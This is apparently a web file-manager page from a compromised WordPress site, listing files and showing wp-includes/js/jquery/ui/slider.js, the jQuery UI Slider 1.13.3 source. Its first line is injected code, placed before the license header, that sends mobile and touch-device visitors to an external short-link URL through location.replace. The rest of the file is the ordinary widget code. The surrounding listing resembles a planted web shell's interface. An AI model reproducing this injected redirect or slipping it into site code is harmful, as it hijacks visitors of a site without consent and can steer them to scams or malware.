at path:ROOT / wp-includes / js / jquery / ui / slider.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄slider.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Slider 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Slider
12//>>group: Widgets
13//>>description: Displays a flexible slider with ranges and accessibility via keyboard.
14//>>docs: https://api.jqueryui.com/slider/
15//>>demos: https://jqueryui.com/slider/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/slider.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "./mouse",
29 "../keycode",
30 "../version",
31 "../widget"
32 ], factory );
33 } else {
34
35 // Browser globals
36 factory( jQuery );
37 }
38} )( function( $ ) {
39"use strict";
40
41return $.widget( "ui.slider", $.ui.mouse, {
42 version: "1.13.3",
43 widgetEventPrefix: "slide",
44
45 options: {
46 animate: false,
47 classes: {
48 "ui-slider": "ui-corner-all",
49 "ui-slider-handle": "ui-corner-all",
50
51 // Note: ui-widget-header isn't the most fittingly semantic framework class for this
52 // element, but worked best visually with a variety of themes
53 "ui-slider-range": "ui-corner-all ui-widget-header"
54 },
55 distance: 0,
56 max: 100,
57 min: 0,
58 orientation: "horizontal",
59 range: false,
60 step: 1,
61 value: 0,
62 values: null,
63
64 // Callbacks
65 change: null,
66 slide: null,
67 start: null,
68 stop: null
69 },
70
71 // Number of pages in a slider
72 // (how many times can you page up/down to go through the whole range)
73 numPages: 5,
74
75 _create: function() {
76 this._keySliding = false;
77 this._mouseSliding = false;
78 this._animateOff = true;
79 this._handleIndex = null;
80 this._detectOrientation();
81 this._mouseInit();
82 this._calculateNewMax();
83
84 this._addClass( "ui-slider ui-slider-" + this.orientation,
85 "ui-widget ui-widget-content" );
86
87 this._refresh();
88
89 this._animateOff = false;
90 },
91
92 _refresh: function() {
93 this._createRange();
94 this._createHandles();
95 this._setupEvents();
96 this._refreshValue();
97 },
98
99 _createHandles: function() {
100 var i, handleCount,
101 options = this.options,
102 existingHandles = this.element.find( ".ui-slider-handle" ),
103 handle = "<span tabindex='0'></span>",
104 handles = [];
105
106 handleCount = ( options.values && options.values.length ) || 1;
107
108 if ( existingHandles.length > handleCount ) {
109 existingHandles.slice( handleCount ).remove();
110 existingHandles = existingHandles.slice( 0, handleCount );
111 }
112
113 for ( i = existingHandles.length; i < handleCount; i++ ) {
114 handles.push( handle );
115 }
116
117 this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) );
118
119 this._addClass( this.handles, "ui-slider-handle", "ui-state-default" );
120
121 this.handle = this.handles.eq( 0 );
122
123 this.handles.each( function( i ) {
124 $( this )
125 .data( "ui-slider-handle-index", i )
126 .attr( "tabIndex", 0 );
127 } );
128 },
129
130 _createRange: function() {
131 var options = this.options;
132
133 if ( options.range ) {
134 if ( options.range === true ) {
135 if ( !options.values ) {
136 options.values = [ this._valueMin(), this._valueMin() ];
137 } else if ( options.values.length && options.values.length !== 2 ) {
138 options.values = [ options.values[ 0 ], options.values[ 0 ] ];
139 } else if ( Array.isArray( options.values ) ) {
140 options.values = options.values.slice( 0 );
141 }
142 }
143
144 if ( !this.range || !this.range.length ) {
145 this.range = $( "<div>" )
146 .appendTo( this.element );
147
148 this._addClass( this.range, "ui-slider-range" );
149 } else {
150 this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" );
151
152 // Handle range switching from true to min/max
153 this.range.css( {
154 "left": "",
155 "bottom": ""
156 } );
157 }
158 if ( options.range === "min" || options.range === "max" ) {
159 this._addClass( this.range, "ui-slider-range-" + options.range );
160 }
161 } else {
162 if ( this.range ) {
163 this.range.remove();
164 }
165 this.range = null;
166 }
167 },
168
169 _setupEvents: function() {
170 this._off( this.handles );
171 this._on( this.handles, this._handleEvents );
172 this._hoverable( this.handles );
173 this._focusable( this.handles );
174 },
175
176 _destroy: function() {
177 this.handles.remove();
178 if ( this.range ) {
179 this.range.remove();
180 }
181
182 this._mouseDestroy();
183 },
184
185 _mouseCapture: function( event ) {
186 var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
187 that = this,
188 o = this.options;
189
190 if ( o.disabled ) {
191 return false;
192 }
193
194 this.elementSize = {
195 width: this.element.outerWidth(),
196 height: this.element.outerHeight()
197 };
198 this.elementOffset = this.element.offset();
199
200 position = { x: event.pageX, y: event.pageY };
201 normValue = this._normValueFromMouse( position );
202 distance = this._valueMax() - this._valueMin() + 1;
203 this.handles.each( function( i ) {
204 var thisDistance = Math.abs( normValue - that.values( i ) );
205 if ( ( distance > thisDistance ) ||
206 ( distance === thisDistance &&
207 ( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) {
208 distance = thisDistance;
209 closestHandle = $( this );
210 index = i;
211 }
212 } );
213
214 allowed = this._start( event, index );
215 if ( allowed === false ) {
216 return false;
217 }
218 this._mouseSliding = true;
219
220 this._handleIndex = index;
221
222 this._addClass( closestHandle, null, "ui-state-active" );
223 closestHandle.trigger( "focus" );
224
225 offset = closestHandle.offset();
226 mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" );
227 this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
228 left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
229 top: event.pageY - offset.top -
230 ( closestHandle.height() / 2 ) -
231 ( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) -
232 ( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) +
233 ( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 )
234 };
235
236 if ( !this.handles.hasClass( "ui-state-hover" ) ) {
237 this._slide( event, index, normValue );
238 }
239 this._animateOff = true;
240 return true;
241 },
242
243 _mouseStart: function() {
244 return true;
245 },
246
247 _mouseDrag: function( event ) {
248 var position = { x: event.pageX, y: event.pageY },
249 normValue = this._normValueFromMouse( position );
250
251 this._slide( event, this._handleIndex, normValue );
252
253 return false;
254 },
255
256 _mouseStop: function( event ) {
257 this._removeClass( this.handles, null, "ui-state-active" );
258 this._mouseSliding = false;
259
260 this._stop( event, this._handleIndex );
261 this._change( event, this._handleIndex );
262
263 this._handleIndex = null;
264 this._clickOffset = null;
265 this._animateOff = false;
266
267 return false;
268 },
269
270 _detectOrientation: function() {
271 this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
272 },
273
274 _normValueFromMouse: function( position ) {
275 var pixelTotal,
276 pixelMouse,
277 percentMouse,
278 valueTotal,
279 valueMouse;
280
281 if ( this.orientation === "horizontal" ) {
282 pixelTotal = this.elementSize.width;
283 pixelMouse = position.x - this.elementOffset.left -
284 ( this._clickOffset ? this._clickOffset.left : 0 );
285 } else {
286 pixelTotal = this.elementSize.height;
287 pixelMouse = position.y - this.elementOffset.top -
288 ( this._clickOffset ? this._clickOffset.top : 0 );
289 }
290
291 percentMouse = ( pixelMouse / pixelTotal );
292 if ( percentMouse > 1 ) {
293 percentMouse = 1;
294 }
295 if ( percentMouse < 0 ) {
296 percentMouse = 0;
297 }
298 if ( this.orientation === "vertical" ) {
299 percentMouse = 1 - percentMouse;
300 }
301
302 valueTotal = this._valueMax() - this._valueMin();
303 valueMouse = this._valueMin() + percentMouse * valueTotal;
304
305 return this._trimAlignValue( valueMouse );
306 },
307
308 _uiHash: function( index, value, values ) {
309 var uiHash = {
310 handle: this.handles[ index ],
311 handleIndex: index,
312 value: value !== undefined ? value : this.value()
313 };
314
315 if ( this._hasMultipleValues() ) {
316 uiHash.value = value !== undefined ? value : this.values( index );
317 uiHash.values = values || this.values();
318 }
319
320 return uiHash;
321 },
322
323 _hasMultipleValues: function() {
324 return this.options.values && this.options.values.length;
325 },
326
327 _start: function( event, index ) {
328 return this._trigger( "start", event, this._uiHash( index ) );
329 },
330
331 _slide: function( event, index, newVal ) {
332 var allowed, otherVal,
333 currentValue = this.value(),
334 newValues = this.values();
335
336 if ( this._hasMultipleValues() ) {
337 otherVal = this.values( index ? 0 : 1 );
338 currentValue = this.values( index );
339
340 if ( this.options.values.length === 2 && this.options.range === true ) {
341 newVal = index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal );
342 }
343
344 newValues[ index ] = newVal;
345 }
346
347 if ( newVal === currentValue ) {
348 return;
349 }
350
351 allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) );
352
353 // A slide can be canceled by returning false from the slide callback
354 if ( allowed === false ) {
355 return;
356 }
357
358 if ( this._hasMultipleValues() ) {
359 this.values( index, newVal );
360 } else {
361 this.value( newVal );
362 }
363 },
364
365 _stop: function( event, index ) {
366 this._trigger( "stop", event, this._uiHash( index ) );
367 },
368
369 _change: function( event, index ) {
370 if ( !this._keySliding && !this._mouseSliding ) {
371
372 //store the last changed value index for reference when handles overlap
373 this._lastChangedValue = index;
374 this._trigger( "change", event, this._uiHash( index ) );
375 }
376 },
377
378 value: function( newValue ) {
379 if ( arguments.length ) {
380 this.options.value = this._trimAlignValue( newValue );
381 this._refreshValue();
382 this._change( null, 0 );
383 return;
384 }
385
386 return this._value();
387 },
388
389 values: function( index, newValue ) {
390 var vals,
391 newValues,
392 i;
393
394 if ( arguments.length > 1 ) {
395 this.options.values[ index ] = this._trimAlignValue( newValue );
396 this._refreshValue();
397 this._change( null, index );
398 return;
399 }
400
401 if ( arguments.length ) {
402 if ( Array.isArray( arguments[ 0 ] ) ) {
403 vals = this.options.values;
404 newValues = arguments[ 0 ];
405 for ( i = 0; i < vals.length; i += 1 ) {
406 vals[ i ] = this._trimAlignValue( newValues[ i ] );
407 this._change( null, i );
408 }
409 this._refreshValue();
410 } else {
411 if ( this._hasMultipleValues() ) {
412 return this._values( index );
413 } else {
414 return this.value();
415 }
416 }
417 } else {
418 return this._values();
419 }
420 },
421
422 _setOption: function( key, value ) {
423 var i,
424 valsLength = 0;
425
426 if ( key === "range" && this.options.range === true ) {
427 if ( value === "min" ) {
428 this.options.value = this._values( 0 );
429 this.options.values = null;
430 } else if ( value === "max" ) {
431 this.options.value = this._values( this.options.values.length - 1 );
432 this.options.values = null;
433 }
434 }
435
436 if ( Array.isArray( this.options.values ) ) {
437 valsLength = this.options.values.length;
438 }
439
440 this._super( key, value );
441
442 switch ( key ) {
443 case "orientation":
444 this._detectOrientation();
445 this._removeClass( "ui-slider-horizontal ui-slider-vertical" )
446 ._addClass( "ui-slider-" + this.orientation );
447 this._refreshValue();
448 if ( this.options.range ) {
449 this._refreshRange( value );
450 }
451
452 // Reset positioning from previous orientation
453 this.handles.css( value === "horizontal" ? "bottom" : "left", "" );
454 break;
455 case "value":
456 this._animateOff = true;
457 this._refreshValue();
458 this._change( null, 0 );
459 this._animateOff = false;
460 break;
461 case "values":
462 this._animateOff = true;
463 this._refreshValue();
464
465 // Start from the last handle to prevent unreachable handles (#9046)
466 for ( i = valsLength - 1; i >= 0; i-- ) {
467 this._change( null, i );
468 }
469 this._animateOff = false;
470 break;
471 case "step":
472 case "min":
473 case "max":
474 this._animateOff = true;
475 this._calculateNewMax();
476 this._refreshValue();
477 this._animateOff = false;
478 break;
479 case "range":
480 this._animateOff = true;
481 this._refresh();
482 this._animateOff = false;
483 break;
484 }
485 },
486
487 _setOptionDisabled: function( value ) {
488 this._super( value );
489
490 this._toggleClass( null, "ui-state-disabled", !!value );
491 },
492
493 //internal value getter
494 // _value() returns value trimmed by min and max, aligned by step
495 _value: function() {
496 var val = this.options.value;
497 val = this._trimAlignValue( val );
498
499 return val;
500 },
501
502 //internal values getter
503 // _values() returns array of values trimmed by min and max, aligned by step
504 // _values( index ) returns single value trimmed by min and max, aligned by step
505 _values: function( index ) {
506 var val,
507 vals,
508 i;
509
510 if ( arguments.length ) {
511 val = this.options.values[ index ];
512 val = this._trimAlignValue( val );
513
514 return val;
515 } else if ( this._hasMultipleValues() ) {
516
517 // .slice() creates a copy of the array
518 // this copy gets trimmed by min and max and then returned
519 vals = this.options.values.slice();
520 for ( i = 0; i < vals.length; i += 1 ) {
521 vals[ i ] = this._trimAlignValue( vals[ i ] );
522 }
523
524 return vals;
525 } else {
526 return [];
527 }
528 },
529
530 // Returns the step-aligned value that val is closest to, between (inclusive) min and max
531 _trimAlignValue: function( val ) {
532 if ( val <= this._valueMin() ) {
533 return this._valueMin();
534 }
535 if ( val >= this._valueMax() ) {
536 return this._valueMax();
537 }
538 var step = ( this.options.step > 0 ) ? this.options.step : 1,
539 valModStep = ( val - this._valueMin() ) % step,
540 alignValue = val - valModStep;
541
542 if ( Math.abs( valModStep ) * 2 >= step ) {
543 alignValue += ( valModStep > 0 ) ? step : ( -step );
544 }
545
546 // Since JavaScript has problems with large floats, round
547 // the final value to 5 digits after the decimal point (see #4124)
548 return parseFloat( alignValue.toFixed( 5 ) );
549 },
550
551 _calculateNewMax: function() {
552 var max = this.options.max,
553 min = this._valueMin(),
554 step = this.options.step,
555 aboveMin = Math.round( ( max - min ) / step ) * step;
556 max = aboveMin + min;
557 if ( max > this.options.max ) {
558
559 //If max is not divisible by step, rounding off may increase its value
560 max -= step;
561 }
562 this.max = parseFloat( max.toFixed( this._precision() ) );
563 },
564
565 _precision: function() {
566 var precision = this._precisionOf( this.options.step );
567 if ( this.options.min !== null ) {
568 precision = Math.max( precision, this._precisionOf( this.options.min ) );
569 }
570 return precision;
571 },
572
573 _precisionOf: function( num ) {
574 var str = num.toString(),
575 decimal = str.indexOf( "." );
576 return decimal === -1 ? 0 : str.length - decimal - 1;
577 },
578
579 _valueMin: function() {
580 return this.options.min;
581 },
582
583 _valueMax: function() {
584 return this.max;
585 },
586
587 _refreshRange: function( orientation ) {
588 if ( orientation === "vertical" ) {
589 this.range.css( { "width": "", "left": "" } );
590 }
591 if ( orientation === "horizontal" ) {
592 this.range.css( { "height": "", "bottom": "" } );
593 }
594 },
595
596 _refreshValue: function() {
597 var lastValPercent, valPercent, value, valueMin, valueMax,
598 oRange = this.options.range,
599 o = this.options,
600 that = this,
601 animate = ( !this._animateOff ) ? o.animate : false,
602 _set = {};
603
604 if ( this._hasMultipleValues() ) {
605 this.handles.each( function( i ) {
606 valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() -
607 that._valueMin() ) * 100;
608 _set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
609 $( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
610 if ( that.options.range === true ) {
611 if ( that.orientation === "horizontal" ) {
612 if ( i === 0 ) {
613 that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
614 left: valPercent + "%"
615 }, o.animate );
616 }
617 if ( i === 1 ) {
618 that.range[ animate ? "animate" : "css" ]( {
619 width: ( valPercent - lastValPercent ) + "%"
620 }, {
621 queue: false,
622 duration: o.animate
623 } );
624 }
625 } else {
626 if ( i === 0 ) {
627 that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
628 bottom: ( valPercent ) + "%"
629 }, o.animate );
630 }
631 if ( i === 1 ) {
632 that.range[ animate ? "animate" : "css" ]( {
633 height: ( valPercent - lastValPercent ) + "%"
634 }, {
635 queue: false,
636 duration: o.animate
637 } );
638 }
639 }
640 }
641 lastValPercent = valPercent;
642 } );
643 } else {
644 value = this.value();
645 valueMin = this._valueMin();
646 valueMax = this._valueMax();
647 valPercent = ( valueMax !== valueMin ) ?
648 ( value - valueMin ) / ( valueMax - valueMin ) * 100 :
649 0;
650 _set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
651 this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
652
653 if ( oRange === "min" && this.orientation === "horizontal" ) {
654 this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
655 width: valPercent + "%"
656 }, o.animate );
657 }
658 if ( oRange === "max" && this.orientation === "horizontal" ) {
659 this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
660 width: ( 100 - valPercent ) + "%"
661 }, o.animate );
662 }
663 if ( oRange === "min" && this.orientation === "vertical" ) {
664 this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
665 height: valPercent + "%"
666 }, o.animate );
667 }
668 if ( oRange === "max" && this.orientation === "vertical" ) {
669 this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
670 height: ( 100 - valPercent ) + "%"
671 }, o.animate );
672 }
673 }
674 },
675
676 _handleEvents: {
677 keydown: function( event ) {
678 var allowed, curVal, newVal, step,
679 index = $( event.target ).data( "ui-slider-handle-index" );
680
681 switch ( event.keyCode ) {
682 case $.ui.keyCode.HOME:
683 case $.ui.keyCode.END:
684 case $.ui.keyCode.PAGE_UP:
685 case $.ui.keyCode.PAGE_DOWN:
686 case $.ui.keyCode.UP:
687 case $.ui.keyCode.RIGHT:
688 case $.ui.keyCode.DOWN:
689 case $.ui.keyCode.LEFT:
690 event.preventDefault();
691 if ( !this._keySliding ) {
692 this._keySliding = true;
693 this._addClass( $( event.target ), null, "ui-state-active" );
694 allowed = this._start( event, index );
695 if ( allowed === false ) {
696 return;
697 }
698 }
699 break;
700 }
701
702 step = this.options.step;
703 if ( this._hasMultipleValues() ) {
704 curVal = newVal = this.values( index );
705 } else {
706 curVal = newVal = this.value();
707 }
708
709 switch ( event.keyCode ) {
710 case $.ui.keyCode.HOME:
711 newVal = this._valueMin();
712 break;
713 case $.ui.keyCode.END:
714 newVal = this._valueMax();
715 break;
716 case $.ui.keyCode.PAGE_UP:
717 newVal = this._trimAlignValue(
718 curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
719 );
720 break;
721 case $.ui.keyCode.PAGE_DOWN:
722 newVal = this._trimAlignValue(
723 curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) );
724 break;
725 case $.ui.keyCode.UP:
726 case $.ui.keyCode.RIGHT:
727 if ( curVal === this._valueMax() ) {
728 return;
729 }
730 newVal = this._trimAlignValue( curVal + step );
731 break;
732 case $.ui.keyCode.DOWN:
733 case $.ui.keyCode.LEFT:
734 if ( curVal === this._valueMin() ) {
735 return;
736 }
737 newVal = this._trimAlignValue( curVal - step );
738 break;
739 }
740
741 this._slide( event, index, newVal );
742 },
743 keyup: function( event ) {
744 var index = $( event.target ).data( "ui-slider-handle-index" );
745
746 if ( this._keySliding ) {
747 this._keySliding = false;
748 this._stop( event, index );
749 this._change( event, index );
750 this._removeClass( $( event.target ), null, "ui-state-active" );
751 }
752 }
753 }
754} );
755
756} );
757